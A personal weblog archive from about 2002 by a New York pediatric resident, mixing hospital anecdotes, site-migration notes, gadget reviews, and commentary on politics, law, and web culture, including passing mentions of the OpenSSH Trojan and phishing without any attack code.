I tried calling the woman on the number that she used in her account, but it’s “disconnected or no longer in service.” I changed the password on the account, and changed all the password hints, too, so that she’ll be forced to use another one. I can only do so much…

I’m not quite sure why, but the idea of being able to post via my cellphone’s short message service intrigues me a bit. Of course, the more I look at that page, the more I realize that it just describes generic posting-via-email; there’s nothing SMS-specific about it. (The author, Raffi Krikorian, even added better protection against hacking.) Of course, there are times when posting via email wouldn’t be such a bad feature to have…

Lately, I’ve noticed that the water in the big tank behind my toilet has occasionally been leaving a stain around the inside of the bowl. I decided to get one of those little drop-in thingies for the tank today, but now, every time I pee, I immediately harken back to the commercial tagline for Glad sealable sandwich bags: “Yellow and blue make green!”

While doing a little reading about the curfew law mentioned in this MetaFilter thread, I found some other strange laws that are remain on the books in the fine city of Houston. Here are some of the things that are illegal:

And, in addition, the curfew law in question seems a little hinky to me, specifically section 28-173(d), which sets up a special exemption for religious events. Why should religious events get targeted government approval? (Oh, wait… it’s Texas we’re talking about.)

Yesterday morning, in Lenny’s Bagels:

Couple walks in, comprised of an all-American man and a fairly pretty woman, both in their mid-to-late 20s.

Man: This is the kind of place where they’ll put whatever you want on your bagel.
Woman: Mmm-hmm…
Man: They’ll put butter, cream cheese, tuna salad, cold cuts… whatever you want.
Me: (thinking to myself) What other kind of bagel places are there?
Woman: Ummm… I have to tell you now that I don’t know what a bagel is.
Me: (jaw drops onto floor)

The kicker of it all was that the woman had as Brooklyn an accent as you can get.

In general, I’m of the opinion that there has been way too much written about the so-called phenomenon of weblogging, and that part of the reason is that the medium is still at the stage where people are kicking its tires, trying to figure out if weblogs add value to the world. That’s not to say that some of what’s written isn’t valuable, entertaining, or even needed; on the contrary, given the relative newness of personal web publishing, there is a real value in well-reasoned pieces that try either to familiarize readers with the medium or to help writers understand those things which make weblogging unique, powerful, and an entirely different way of reaching readers.

As a good example of the latter, the latest issue of A List Apart brings us Mark Bernstein’s “10 Tips on Writing the Living Web.” Mark focuses on the dynamic nature of weblogs (or, better yet, of any site that represents frequent personal input and guidance), and gives ten good rules that aim to help writers both understand that dynamism and shape their creative energies accordingly. It’s the kind of essay that I’ll bookmark and send along to anyone who asks me about weblogs; it may be the best example yet of capturing the reasons why weblogs have become such a success. It’s definitely worth a read.

stylecam blink

I just got my latest toy, a StyleCam Blink, made by SiPix. It’s the littlest digital camera you’ve ever seen — less than two inches square — and has a 0.3 megapixel CCD (that’s 640x480) with enough built-in memory for around 100 images at that resolution. It’ll also take a rapid series of pictures and assemble them into an AVI, and will function as a webcam when connected to your computer. Best yet, it’s under $40, which is what made me give in and buy one for playing around. Fun fun!

I don’t know about you, but I’m finding myself entertained by the controversy that sprung forth when Tiger Woods revealed that the things he’s paid to say and the things that he wants to say are two entirely different things. I also found myself thinking a bit about whether or not someone like Woods has a responsibility to take a stance against exclusion based on race and gender, and the more I thought about it, the stronger I felt that he does. Precious few people find themselves in a position to say something that reaches as many ears as his voice does, and part of my core belief system is that I feel that we all have a fundamental responsibility to try to improve the world around us in whatever ways we find ourselves able. Tommie Smith and John Carlos held their fists up over their heads on the Olympic medal stand in 1968, nearly a hundred musicians put together Live Aid in an effort to improve conditions in sub-Saharan Africa, and the NFL took the the Super Bowl away from Arizona when the state refused to recognize Martin Luther King, Jr. day; all found themselves able to bring about social change due to their stature. Perhaps its time for Tiger Woods to do the same.

Once again, Wired has an awesome magazine issue out. Articles not to miss: the progress that’s been made in brain implants that allow blind people to see; a team of former MIT students who put together a revolutionary team-based approach to beat casinos; and the work being done on gene-based vaccines.

Back in the beginning, Wired cut its teeth on having total geek cred, with in-depth stories on the fringes of intellect and technology. As the Internet economy took off, though, the magazine spiralled downward as it succumbed to the pressure to be yet another dot-com profiler. Back in April, I noticed that things had changed for the better; it’s nice to see that the magazine is still on track.

One one hand: I’m flattered to be on the reading list for UC Berkeley’s upcoming class on intellectual property weblogs. On the other hand: I’m embarrassed that the selection the professors have chosen is this trainwreck of a thread. I’d like to think that I’ve spent a good amount of time discussing actual issues of intellectual property — music sharing, website design theft, software licenses and enforcement — that are probably more on-point to the site; the recognition comes for a flamewar, though. Alas…

My pictures from last week’s walk of the High Line are now up.

high line montage

Today, I learned that RedHat wants to charge me to get security updates.

Will Charles Heston’s diagnosis of Alzheimer’s disease force him to give up his guns? Two media sources — Slate’s Bryan Curtis and the New York Daily News’ Rush & Molloy — quote the same California attorney general spokeswoman to come to opposite conclusions. It’ll be funny to watch if Heston takes up the cause of the right of demented people to bear arms…

There’s some good news out of the medical community: it appears that doctors are finally heeding the warnings and are prescribing less oral antibiotics to kids. (What warnings, you ask? It’s pretty well-known that overprescription leads to bacteria that are resistant to antibiotics; two months ago, the CDC identified the first Staphylococcus aureus that is completely resistant to vancomycin. That should scare you. A lot.)

The move is complete — you’re now reading a Movable Type-run site. I fully expect there to be a few things that I’ll still need to fix around here, but for the most part, the major functionality is in place. I’m loving the new system, and you can soon expect to read a little bit about what it took to make the move.

If you find anything broken, please feel free to leave a comment here, or drop me a line.

(Oh, and TrackBack is pretty much enabled throughout the place, so if you want to use it, feel free.)

Today was a good day, for after work, Alison, Yanda, and I walked the High Line.

the high line

Thanks have to go out to Rosecrans Baldwin; his photo essay a few months ago reinvigorated my interest in the abandoned freight line, and Alison’s trip to New York turned out to be the perfect time to finally climb up and explore a bit. (Update: the photo collection from our trip is now available.)

I can’t, for the life of me, figure out what would be added to the functionality of TrackBack by changing it’s implementation to XML-RPC. Too often, stuff like this gets overengineered, and then become so much more difficult to implement on systems other than the ones on which they originate; the beauty of TrackBack’s current setup is that it’s completely trivial to implement elsewhere, since all the new system needs to do is be able to request a web page.

I’m leaving town again, for a long weekend with Shannon in, of all places, Alabama. Last week at camp spoiled me — I need my fix of swimming, reading, and lounging, and one of Shannon’s cousins has just the right place to visit.

When I get back, item one on the agenda will be finally making the move to Moveable Type. I finished the script to export from Manila, I conjured up a CSS-only layout that replicates the layout here, I figured out all the mod_rewrite rules to make references to pages in Manila find their way to the right MT pages, I wrote a new picture show script, and I got the new search engine running — there’s not much left to do but import the entries and flip the switch!

See you all soon…

For those of you who live in a town that has the Citibank “Live Richly” ads plastered all over things, Tim Carvell penned a pretty funny “interview” with Citibank, with the bank’s words made up entirely of the moronic quips from the ads. (Joseph Lamport observed the same silliness over at Salon back in February.)

It’s a little ironic that OpenSSH, a product that most likely provides security for more computers on the Internet than any other, was distributed with a Trojan horse over this past week. The CERT advisory is here; if you downloaded the server code at anytime over the past week, you’d be wise to check to see if you got the infected version.

Ah, the wonderful things that people with Ehlers-Danlos syndrome can do…

I think it’s pretty cool (geek cool, but cool nonetheless) that I live in a country that keeps track of all the asteroids that run the risk of colliding with Earth. (I discovered this JPL website when I was looking for more info on the two asteroids — 2002 NY40 and 2002 NT7 — that have gotten a lot of news playtime the past few weeks.)

I’ve always been intrigued by honeynets — networks of computers that are set up as attractive targets for hackers, so that the hackers can be monitored, and ultimately, improvements can be made in network security. It seems logical that, in this day and age, honeynets would be extended to wireless networks; Cisco and SAIC have done just that, and I’d imagine that it’s just a matter of time before wireless security gains a little bit of, well, real security as a result. (And I love the term David Sifry has coined for these intentionally-vulnerable networks: honeyspots.)

It’s totally weird when two previously-separate branches of your life collide, specifically when it’s in the form of one of your patients being the subject of a thread on a community website. Sorta cool, but also totally weird.

I’m back, and while there’ll be a more comprehensive wrap-up of my week at oncology camp, I have to say this about the last week: SpamAssassin trapped about 1500 email messages, and out of all of them, only one was something that was worth reading. There really isn’t a better testament to the program than that.

I know I’m late to the ballgame on this one, but I’m enjoying the hell out of True Porn Clerk Stories.

Just as an alert, on the off chance that someone cares: I probably won’t be posting for most of next week. Instead, I get to spend the week swimming, making crafts, hiking, cooking, and playing with any and all of our oncology patients that are well enough to take a summer break. I wasn’t able to make it to camp at all last year; I cannot wait for Sunday to roll around.

I’m pretty sure, thanks to Anil, that I know what my next desktop computer will look like. It’s the first computer that I’ve found that has everything I want — onboard networking, FireWire, USB 2.0, ATA/133 disk support, and good audio — and it’s itty bitty to boot. I’m eagerly anticipating it going on sale… (For a few better reviews, try here and here.)

Oh, please, for the love of God and all that’s holy, don’t start sending video email, no matter what c|net has to say about it.

I think it’s soooo awesome that scientists have found a new species of centipede, and in Central Park, no less. Even cooler, it’s unique enough that it’s being classified as the only species within its very own genus. I’d bet that there’ll be more than the usual number of kids and parents hunting around the Park this weekend, hoping to catch a glimpse of the creepy crawly.

I have started the leg (and keyboard) work for moving off of Manila for this site (to Ben and Mena’s fabuloso Movable Type), and have started to put together the list of functionalities for which I need to find replacements or methods of implementing.

  • Search engine: I want to find a search engine that runs locally, and works with Movable Type’s MySQL database-driven format. It would be nice if I could have it index multiple sites, so that the other people I host can use it, as well.
  • Pseudo-static pages: Most sites like this have pages that are more static in nature (e.g., an about page, or a site map). Movable Type is phenomenal when it comes to weblog-type entries, but for pages that are more static and that I want wrapped in the site’s template, I need to figure out the best solution.
  • Log and referrer browsing: I built custom Manila plugins for both, and I’d like to continue having the information when I move to Apache on Linux. My referrer browser is pretty simple, just showing the various referrers and the number of times per day that they’ve sent people this way; my log browser (which isn’t available to anyone but myself) is pretty complex, showing pretty much all the data available for each individual hit to the webserver.

I’d appreciate any ideas that anyone has — pointers to tools that you’ve found to work well, tips as to things to watch out for, and whatever other expert advice that you’ve all accumulated.

I gotta say, I’m proud of Jeffrey Dvorkin and the entirety of NPR, both for changing their linking policy and for being big enough to admit that they didn’t understand the medium to begin with.

I had a wonderful weekend in Washington D.C., escaping the hospital and any other distractions for a few days. The two highlights were the International Spy Museummuch bigger than I thought it’d be, and despite the wait and the crowds, fascinating pretty much from start to finish — and seeing Julie again. The lowlight? Waking up at 3:30 AM today with a raging pain in my throat and nausea to beat the band, and not being able to go back to sleep. I can only imagine that I caught something from a child that I saw during last week’s stint in the emergency room; I am at least happy that it didn’t catch up to me until the end of my weekend visiting Shannon.

What’s my definition of a sad day in the ER? Having the sister of one of my favorite oncology patients sent in by her doctor for new-onset trembling of her hands, and diagnosing her with a big intracranial mass. Now, their mother has two children with cancer, a two and a half year-old with metastatic rhabdomyosarcoma and a four year-old with a brain tumor, and needless to say, she was on the verge of a total breakdown when my shift ended. Despite my additional hour in the hospital (spent running interference between the neurologists, the neurosurgeons, and the intensive care team who was preparing for her transfer to their unit), I still left trying to put myself in their family’s shoes; I can’t begin to fathom what they must be feeling right now.

Anyone who’s ever spent any time on the lower West Side of Manhattan and wondered what’s up on the abandoned elevated rails that start in the 30s and meander southward needs to take a look at Rosecrans Baldwin’s The High Line, a photo essay capturing images from one end of the line to the other.

(The tracks were once called the High Line, and they supported the railway cars that brought supplies into the factories and meat packing plants that lined Chelsea’s western border. As with anything else in New York City, there are a lot of dreamers who have ideas for reuse of the old structures.)

I mean, it’s amazing to me that a man can still be so embittered by the fact that someone didn’t give him enough credit in her essay on the history of weblogs. Or, I should say, it would be amazing to me if that man weren’t Dave Winer, and it wasn’t in-your-face obvious that his definition of “respect for the story” is “willingness to make specific mention of Dave Winer and UserLand.”

If you’re looking for what is, in my opinion, a fair review of Rebecca’s book, try here.

A couple classically idiotic bugs that I have run into over the past week:

  • If you have Windows XP’s Welcome Screen enabled, and you turn on auditing of all logon and logoff events, then XP logs a failure for every account listed on the Welcome Screen every time that the Welcome Screen is displayed. According to the MS Knowledge Base, “this behavior is by design,” which I’d have to vote is one of the more moronic design choices that’s been made in XP.
  • If you have a Manila server, and have a search engine set up, creating a new story on your Manila site does not submit the page to the search engine for indexing. While a legitimate bug (rather than a design decision), it’s a bug that was submitted to UserLand seven months ago, and their response was that the architecture of Manila prevents them from fixing it. A while ago, I’d have been shocked that they’d be willing to just let a bug like this go unfixed; that sort of thing doesn’t surprise me anymore.

Seth Schoen has some detailed and thoughtprovoking notes on Palladium, the secure platform that’s been proposed by Microsoft and a few hardware vendors. If you’re looking for the rare exception to the typical fearmongering and kneejerk, reactionary drivel that predictably dominates the press, check out Seth’s impressions — by my read, Palladium looks to be an incredibly well thought-out architecture, and has the potential to bring computing to an entirely new level of security.

I spent a little over an hour tonight trying to solve a bug that was causing the occasional corruption of mail messages sent to me. Once I found what I was looking for, I decided to scribble down a few notes on the problem and potential solutions; I figured that I had been unable to find the solution via search engines, and as a consequence, others may not be able to do so either. Hopefully, now they will. smiley

Maggie strikes gold again with a look at towns which have been decimated by single events. For me, the stories of Centralia, Pennsylvania and Lake Nyos in Cameroon are totally astounding; in the case of Lake Nyos, it’s equally astounding that there is currently more carbon dioxide dissolved in it than there was at the time of the disaster, and that even if current attempts to degas the lake are fully implemented, it will take three to five years to dissipate enough CO2 to make the lake safe.

A little update for those who asked about my little patient with the belly mass: things are looking good. She went to the operating room, where the mass was found to be large but solitary; that meant that they were able to remove it in its entirety. By all accounts thus far, it looks to be a Wilms’ Tumor, treatment of which is one of the great successes of pediatric oncology. (For a real warm and fuzzy feeling, take a look at some of the pages about kids with Wilms’ tumors.) Last night, I got the awesome pleasure of extubating her, and seeing her smile (and her parents smile!) for the first time in days.

A few nights ago, in the pediatric ICU, I got a glimmer of my future…

How can I have considered myself a good New Yorker without knowing anything about the Pizza-Subway Connection? Apparently, common wisdom has it that the price of a subway token in NYC is tightly linked to the price of a slice of pizza, and since pizza prices have risen over the past few years, there’s talk of the inevitable subway fare hike that’ll come after this fall’s elections. How funny!

It stuns me that our President is urging “stiff corporate penalties for crooked executives” despite himself being the alleged perpetrator of corporate fraud on the order of four times as large as that which has Martha Stewart lined up for the gallows. Thankfully, a series of ads are going to run on the East coast starting this week are calling Bush and Cheney out on their hypocrisy when it came to Harken Energy and Halliburton.

What a great, great interview with Alfred Goodwin, the U.S. Ninth Circuit Court of Appeals judge who issued last week’s decision in Newdow v. US Congress (the decision which ruled the “under God” part of the Pledge of Allegiance unconstitutional). I like when judges are seemingly unaffected by the public reaction to their legal rulings; for the most part, our legal system is supposed to care less about public opinion than it does about whether something is prohibited by the U.S. Constitution.

The pro se pleadings by Zacarias Moussaoui (the ostensible twentieth hijacker) are slowly being unsealed and released by the U.S. District Court in Eastern Virginia, and I’m fascinated by them. From the Motion to Stop Leona Brinkema DJ Playing Game With My Life to the Motion to Phone and Contact Freely The European Court of Justice, The European Parliament, The International Court of Justice, The British House of Common, The British High Court, The German Parliament, The German High Court, The Deutch Parliament, The Deutch High Court without the FBI Prosecution Listening and Reading My Communication, there’s a frenetic mania that virtually pours out of his handwritten pleas.

Examples: here, he argues strenuously that he should be allowed to enter a nolo contendere plea, despite apparently not understanding that such a plea is the functional equivalent of a guilty plea and would be one of the quickest ways for the government to get him into the death chamber. Here, he demands “certification” that no information about him was placed on the “National Computer Crime System,” a demand that’s repeated in a few other pleadings without much further explanation.

There are gems in all of the motions, and I’m finding that I check daily for new ones to be unsealed. This isn’t healthy, I tell you…

I’m not sure how I missed it, but thanks be to my brother for pointing out that Walter Dellinger and Dahlia Lithwick sat at Slate’s Breakfast Table last week. They discussed Atkins v. Virginia (in which the Supreme Court held that executions of mentally retarded people are cruel and unusual), the Ninth Circuit ruling on the Pledge of Allegiance, and Hispanic hitting streaks. Great stuff, it is. (For those who don’t know, Dellinger was Solicitor General from 1996 to 1997, and Assistant Attorney General in charge of the Office of Legal Counsel for the three years prior to that; Lithwick is a Slate senior editor, writing their Supreme Court Dispatches and covering most other notable legal issues.)

I’ve gotta tell you, it’s freaky seeing the place you grew up, the highways you drove daily being totally overwhelmed with floodwater. I remember driving along 281 on the section that crosses the Olmos flood control basin, always wondering how water could possibly get high enough to cause trouble; the pictures on the news today made it a little clearer to me. As you’d expect, the local coverage has the best pictures.

Am I permitted to say “ditto”? Maybe not.

One year ago this past weekend, Shannon and I met face-to-face for the very first time. We had had a few months’ time talking before that — initially, in the geekiest of ways (email, AIM), and then on the phone into the latest hours of the night — but then she had to come to New York City to lay the foundations for her eventual move here, and that meant that we finally got to meet.

My memories of the weekend reflect my myriad of emotions at the time — the tension of the “what if she hates me!?!”, the happiness of “she really is as cute as she looks in her pictures!”, the intimidation of “wow, she’s smart”, and the sheer pleasure of “this is really, really comfortable.” My memories of the few months that passed between that weekend and our eventual decision to give a relationship a try are a lot blurrier — there was a great deal of hesitation, fear, and worry on both sides. My memories of the past ten months, though, are crystal-clear, and I couldn’t be happier that things have worked out. We’re both the same kind of dork, we’re better with each other around, and I can honestly say that I am happy.

Does anyone else get the sense that a lot of civil liberties are being rolled back in the name of the war on terrorism? Today’s example is the newly-proposed Homeland Security Department, which our President wishes to be exempt from the Freedom of Information Act, as well as from Federal whistleblower protection laws.

As to the first sought exemption, it’s pretty clear that the FOIA already contains pretty strong precautions against the release of sensitive information. Quoting from House Report 106-050 (“A Citizen’s Guide on Using the Freedom of Information Act and the Privacy Act of 1974 to Request Government Records”), emphasis added by me:

An agency may refuse to disclose an agency record that falls within any of the FOIA’s nine statutory exemptions. The exemptions protect against the disclosure of information that would harm national defense or foreign policy, privacy of individuals, proprietary interests of business, functioning of the government, and other important interests.

As to the second exemption, does anyone remember the fact that it was a whistleblower that brought to light the inadequacies of the current system? Allowing people to alert oversight committees when bureaucracy is getting in the way of actual work seems to be a good idea to me; after all, the protection only applies when the whistleblower alerts the Office of Special Counsel, not the general public, and one would hope that the OSC can then prevent anything that it deems sensitive from reaching the public.

We went and saw Y Tu Mamá También tonight, and I have to put it up there on my highly-recommended list. It’s pretty pornographic at times, and really crass at others, but thoroughly enjoyable. I only wish I knew better Spanish, since it was clear that there was a lot that went unsubtitled.

Scott Rosenberg has a pretty well-written column about the Pledge of Allegiance controversy, highlighting the relatively inane notion that the rights of Americans are derived from a grant by God, an idea being furthered by many of those who wish our children to be honoring the Judeo-Christian Supreme Being every morning. I mean, really — people with actual educations believe that rights, including the right to a free practice of any (or no) religion, were granted to us by the singluar head of a handful of specific religions? This honestly scares me, and the thought that these people are then in charge of creating logically-consistent laws (and amendments to the document explaining those rights) is even more frightening.

Another thing that scares me is all the posturing being done by all sides in Washington right now, and the fact that there isn’t a single Congressman (hell, a single politician anywhere!) who is willing to stand up and defend the Constitutional protection against state-enforced allegiance to religion. It’s enough to make you think it’s an election year…

Rabbit rabbit! (And with extra luck for my birth month…)

Excellent! Shannon just gave me my early birthday presents (since she has to go back to Washington, D.C. tomorrow, before my real birthday), and the biggie was the atomic clock I drool over every time I see it. I had to get it to work the instant that I unwrapped it, but alas, the radio signal from the National Institute of Standards and Technology isn’t strong in New York City right now (it’ll probably be adequate at around 10 PM, and hit its peak at about midnight). What a damn cool technology.

Rick Tait, a New Yorker who has been providing free wireless Internet access via his Time Warner cable modem connection, has received a cease-and-desist order from the provider. While I feel bad for him — as I do anyone who has to deal with Time Warner in any more than the normal perfunctory ways — I don’t feel too bad for him, nor do I feel like he’s in the right on this one. He has Internet service with an agreement (that he should have read) that specifically forbids redistribution of the connection to others, and if he didn’t like that, then he should have found another connection (like EarthLink service over Time Warner cable, which doesn’t seem to have the restriction in their use policy). As it is, he’s been caught, and he should just admit to it and move on. (Oh, and Rick: have you heard of non-broadcast SSIDs and WEP? Lead shielding may be taking the dramatic flair a bit too far.)

I actually had some good stuff to say about the unconstitutionality of the Pledge of Allegiance today, but then the T1 to my house died, and I had to scramble around fixing it, and then it died again, and I had to scramble further, in the dead of night, to fix it again. And now I’m too tired to think, other than remembering that I’m working a 27-hour shift tomorrow. Oh, well; I’ll just leave you with this history of how “under God” came to be added to the Pledge, and this look at the strange origins of the entirety of the Pledge.

my post-root-canal tooth

So, today I had my very first root canal, and I have to tell you — it was totally painless. My doctor swabbed the inside of my cheek with something banana-like, and then while making chitchat, anesthetized my lower jaw in under 20 seconds flat. Within five minutes, I didn’t know I had a lower jaw, and in another 20 minutes, he was done. I don’t know if it’s just that enormous progress has been made since the days that the phrase “as much fun as a root canal” was coined, but honestly, I’ve got nary a complaint.

Further acknowledging my server hosting duties, I officially declare that anyone who wants to buy me this is more than welcome to. It’d definitely cut down on the space needed in my closet…

Acknowledging the fact that I’m essentially now running a server farm from my apartment, I finally got an UPS installed here over the weekend. My plans call for having the UPS supply power to the three computers that run as servers, and have one of those computers also hooked up to the serial port of the UPS in order to monitor it (and direct a gentle shutdown of all the involved systems in the case of a power failure).

As ideal as these plans sound, turning this configuration into reality isn’t as easy. Due to what I can only explain as either terrible software design or corporate greed, APC doesn’t provide any method for machines to communicate with the monitoring computer and shut down gracefully; instead, they want you to buy a $300 add-on card that allows you to plug your UPS into the network, and then use software that interacts with that card. It’s lunacy, but it means more money for them. Lucky for me, though, the power of Google turned me on to NUT, a freeware tool that claims to be able to do the right thing. I’ll keep you posted as to whether it works as advertised.

A big thanks goes out to Karen for pointing out the best reference to Linux command-line tools that I’ve seen. (Also, a huge congratulations goes out to Karen and Jake, on this almost-one-month anniversary of their wedding!)

Anyone who claims that an advantage Linux has over Windows is the avoidance of DLL Hell has clearly never run up against package dependencies. Imagine if the newest version of A needed a newer version of B, but the newer version of B needs the newest version of C, but the newer version of C needs the older version of A and a newer version of D… makes you want to rip your hair out.

(This rant brought to you by OpenSSH 3.3, which took me waaaaaay more time than necessary to get installed today.)

Can you tell when the DNS servers for metafilter.com decided to stop working?

(Rumor has it that the DNS problems are in the process of clearing as we speak. Until they do, though, you can still get to MetaFilter using one of its other domain names.)

Merlin has the best dissection I’ve read of the newly-discovered, lunatic, no-linking-without-permission policy over at National Public Radio. Marek has compiled a few links of other peoples’ responses to the policy, most of which highlight that NPR has yet to reply to anyone who has requested permission with decisions.

And a sidenote for Derek, posted here because his entry doesn’t have comments enabled: no, it’s not up to NPR to decide whether or not I can link to their content. The fundamental flaw in your question — “Shouldn’t they have the right to ask how it gets used?” — is that I’m linking to their material, not using their material. Do you think they asked Tammy Faye’s permission before posting this? Or Science magazine’s permission before talking about its global warming study? I can’t imagine that they did, because they’re not republishing it, they’re discussing it, something that’s allowed (and that one would think NPR would encourage).

I finally received a copy of the much-ballyhooed Kenneth Mehlman/Karl Rove PowerPoint presentation yesterday (HTML here, PPT here), and I find it pretty interesting, for two reasons. First, it has found its way into the hands of nearly everyone in Washington, reportedly by the simple mistake of a staffer dropping a diskette in Lafayette Park. Second, it shows just how much the Republicans are targeting every last chance to regain control of the Senate — and that they are practicing election-related politics using the taxpayer-funded resources of the Executive Office, something that they made a huge stink over when Al Gore reportedly made calls to solicit donations from his office in the White House.

And my favorite part? Both of the authors referring to themselves as “The Honorable” in the title slides.

You know what I hate? Going into work expecting nothing but sheer normalcy, and then halfway through the day, looking at my PalmPilot and realizing that I’m on call that night. That happened to me yesterday, for only the second time during residency; it left me totally discombobulated, annoyed that I had to cancel plans with people, and just plain irritable. Luckily, the call night went well — no major catastrophes, all 20 of the oncology and bone marrow transplant kids did well, and only a few minor normal-for-my-hospital screwups in blood tests and nursing issues. Best of all, I got some sleep, leaving today open to actually get some errands done, and generally be a normal human being.

There’s a Steve Gillmor article over at InfoWorld that’s pretty interesting to me, but not because of the subject — protection of freedom on the Internet — but because of the mention of the redistribution deal that UserLand has with the New York Times.

For those who don’t know about it, UserLand makes a product that claims to have exclusive access to a series of syndication feeds from the Times, feeds which contain links to NYTimes.com articles and which can be fed into the news aggregator that’s part of the UserLand product. One of the selling points of Radio Userland has been that, after subscribing to the feeds, your personal homepage would contain automatically-updated links to NYTimes.com stories that interest you, and would make it easy for you to share those links with others.

There’s been a bit of word-of-mouth spread of the URLs to the XML files, for those who have kept their eyes open. Unfortunately, despite all the bluster about standards and whatnot that generally comes out of the UserLand camp, the XML files aren’t standard RSS, but rather, are a proprietary format that most news aggregators won’t read. Fortunately, though, Mark Pilgrim has written a great script that you can grab and install that converts the proprietary XML files to standard RSS; at that point, the sky’s the limit, all without having to buy the UserLand app.

Just another case of Internet users routing around outages

Shannon and I went to see The Bourne Identity this weekend, and I really enjoyed it — it’s a fun movie with lots of action, and it’s different enough that it didn’t feel hackneyed or trite. Most of all, though, I liked seeing Franka Potente in a big role — I loved Run Lola Run, and have been wondering if she’d ever break into the American film scene. I’m glad to see she has!

Over the past few weeks, I’ve been getting a little peeved that my TiVo has occasionally had an extra item at the bottom of the main menu with a few weird and unrequested promotions (two Sheryl Crow video rehearsals, some strange “Electronic Feng Shui” spots). I felt similar to Howard Greenstein — “Once you start taking up space I paid for, it’s war.” But then I sauntered over to the TiVo Community Forum and read the explanation offered up by TiVo, and I have to admit, I’m satisfied. They’re not taking up space that’s otherwise available to my programming, they’re taking space that has always been reserved on the disks for promotions. Also, based on feedback, they’ve modified the feature to delete the items from the menu after four days. And given that they used to use this space for something called Pre-TiVo Central Messages — the equivalent of pop-up ads — I’m happy with how things are.

Despite the fact that I went into Barnes & Noble today looking for a single book to get me through one more day of jury duty, I came out with:

Really, it’s impossible for me to survive a trip to a bookstore without spending at least $50.

I dunno why, but I figured that the release of Mozilla 1.0 was a sign that all the reported bugs were fixed. According to this version of the CSS level 1 spec that’s annotated with active Mozilla bugs, though, I was wrong. It’s a handy bookmark to have for those of you who need to program around the problems that still exist in the released code.

I’m on jury duty today (and tomorrow, and maybe even Monday, and all bets are off if I’m chosen for a jury!), and was dreading it. Walking to the criminal court building this morning, though, I remembered something awesome — my ISP’s major East Coast data center is a hop, skip, and jump away from the court, and now I’m sitting here on my lunch break in their client lounge (with free Starbucks, woohoo!).

Alas, though, I haven’t been called to sit on any voir dire panels yet, and the clerk (who may be the funniest man I’ve been in a room with in a long time) warned us that the court calendar has been a little slow these past few weeks. I’ve already finished one book, and after a quick bite of lunch, it’s off to Barnes & Noble to get another one.

Now, to figure out (a) if my ISP has wireless hubs here, and (b) if they reach all the way to the floor of the courthouse building that the jury room is on…

Thanks go out to Laura for passing on the news that the Accreditation Council for Graduate Medical Education has finalized required limits on resident works hours for all programs seeking to remain accredited in the United States. (There’s a PDF of the requirements on the ACGME website.) Us New York residents aren’t really affected by this, though; after the 1984 death of Libby Zion, we have the Bell Commission laws (see section 405.4) that already impose pretty stringent requirements on our hours.

Why did I never know that Leslie Harpold (of hoopla.com fame) is a Manhattanite? She wrote a fantastic tale for The Morning News yesterday detailing the way that New Yorkers hoarde information about experts-for-hire (painters, plumbers) and their shops. I can’t tell you how happy it made me to see one of the things I like most about New York described so perfectly; anyone who has spent even a year in this city has enjoyed the furtive delight of getting a name of the perfect apartment broker or housecleaner, and the angst of deciding which of their friends deserves also being let in on the secret.

Isn’t this just as American as it gets: someone is tricked by a hoax email and gives up their PayPal username and password, and then sues Paypal when the authors of the hoax email take $1,600 from his account. My favorite part is that this guy is actually a computer parts salesman, and probably should know better than replying to an email request for his password. Alas, he didn’t, and now he’s trying to hold PayPal responsible.

Honestly, if you’re not reading the World Cup 2002 Blog, you really oughta start. I have to thank my brother for turning me onto the site, which has kept me laughing every day since he told me about it. Yesterday was a good example:

Clint Mathis….at what point did you think of getting a mohawk and decide, “Yeah, that’ll look good!” Reason I ask, mate, is I want you to isolate that moment so that the next time it happens you can go outside and slam your head in a car door.

I’ve got it — I’ve figured out the next big step in Microsoft’s Grand Scheme™ to take over the world, and it came to me during a (partly-self-instigated) reinstall of Windows XP. If you pay attention closely, one of the drivers that’s loaded during the first part of the setup process is for the Human Interface Parser. When I noticed that, something clicked and everything became obvious — Microsoft is planning to be the only operating system that is easily available and usable by non-humans!

First, things will start out innocuously — there will be Feline and Canine Interface Parsers, and they’ll be marketed all cute-like to kids and parents who want their pets to take the big next step of becoming wired. But behind the scenes, Microsoft’s Intergalactic Interface Department will be ready to introduce a parser that’s compatible with whatever superrace from outer space that chooses to colonize Earth and strip us of our resources. “Hello, Lord Dvvexrgawa from the 1743 Nebula, just load this driver and your PDA can control any Windows XP machine on the planet!”

Remember, you heard it here first.

I love when companies have a sense of humor. Tonight, I registered for an account on the MINI Cooper USA website (droooool), and at the end, the following disclaimer came up:

I understand that by signing up I agree to the following: For the sole purpose of giving me the best service possible, I agree to let MINI share the information I provide with other groups in the immediate MINI network, such as MINI dealers.  MINI will never sell the information I have given.  Nor will they share it with any 3rd parties that have no clear and direct link to MINI.  Furthermore, even other groups within the immediate MINI network will never contact me in any way shape or form until I have explicitly granted them permission. I also agree to avoid ruts. And I agree to change my locker combination to include the numbers 1964 (the year we won our first Monte Carlo rally). I agree to chase squirrels around the park every now and then and giggle like a madman while doing it. I agree to be more adventurous and try to avoid homogenized restaurant chains. I agree to name my first-born Cooper. I agree to bare the soles of my feet to the earth and feel grass, sand, stones, and streams. I agree to watch the movie "The Italian Job" as soon as I can. I agree to at least think strongly about learning to play a musical instrument. I agree to consider painting the roof of my house in contrasting colors. I agree to the terms.  Sign me up.

Now that’s funny shit.

I soooo wish that I had kick-ass artistic talent that I could use to make this joint a little nicer…

I love it. Today, Dave Winer posted a long piece, analyzing some anonymous reporter’s silence on an issue which involves the reporter’s employer, and concluding that the guy doesn’t qualify to be called a journalist as a result of his silence. Not eight hours later, though, Dave had to issue a retraction to another big chunk of the piece — it turned out that quite a few of his facts were poorly-researched and totally false.

Now, which quality would you say is a necessary part of the definition of a journalist: the willingness to report on one’s employer, or the willingness to research the facts that one proffers as truth to his readers? I can’t imagine many people will have a difficult time answering this one.

Of course, this all is coming from someone who believes that the essence of journalistic integrity is “never [stating] as fact something you know not to be true.” Note the wording — it’s not “always state that which you know to be true,” but instead, the reverse. By this logic, I can pen an article that accuses the government of orchestrating the events of 9/11, and since I don’t know it not to be true, my journalistic integrity remains intact. It’s really a fascinatingly self-serving way to look at things, and it serves to explain a lot.

Oh, gawd, Pacman on the web won’t be a good thing for my use of time….

Apropos of nothing, I bring you the best pictures I’ve found of the now-extinguished Tribute in Light memorial, from the camera of Patrick and Teresa Nielsen Hayden. The three shots are beautiful, and make me wish I had been able to get down to the site to see it from up close.

